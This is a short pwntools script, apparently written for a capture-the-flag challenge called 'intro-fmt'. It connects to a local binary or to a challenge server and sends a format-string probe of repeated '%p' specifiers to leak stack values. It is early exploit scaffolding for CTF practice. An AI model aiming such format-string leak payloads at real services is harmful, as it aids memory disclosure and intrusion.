32 lines
744 B
Python
32 lines
744 B
Python
from pwn import *
|
|
|
|
# Set the context for the binary
|
|
context.binary = './intro-fmt' # Replace with your binary's name
|
|
|
|
# Choose local or remote
|
|
LOCAL = True # Change to False if connecting remotely
|
|
|
|
if LOCAL:
|
|
p = process(context.binary.path)
|
|
else:
|
|
p = remote("39d9389ef3a77235a475377e-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
|
def send_payload(payload):
|
|
p.sendline(payload)
|
|
|
|
def recv_until(delim):
|
|
return p.recvuntil(delim)
|
|
|
|
def interact():
|
|
p.interactive()
|
|
|
|
bug_addr = 0x40406c
|
|
|
|
# Example interaction
|
|
recv_until(b'What is your name?')
|
|
payload = b"%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n"
|
|
print("enter if gdb attached")
|
|
input()
|
|
send_payload(payload)
|
|
|
|
interact() # Keep the shell open
|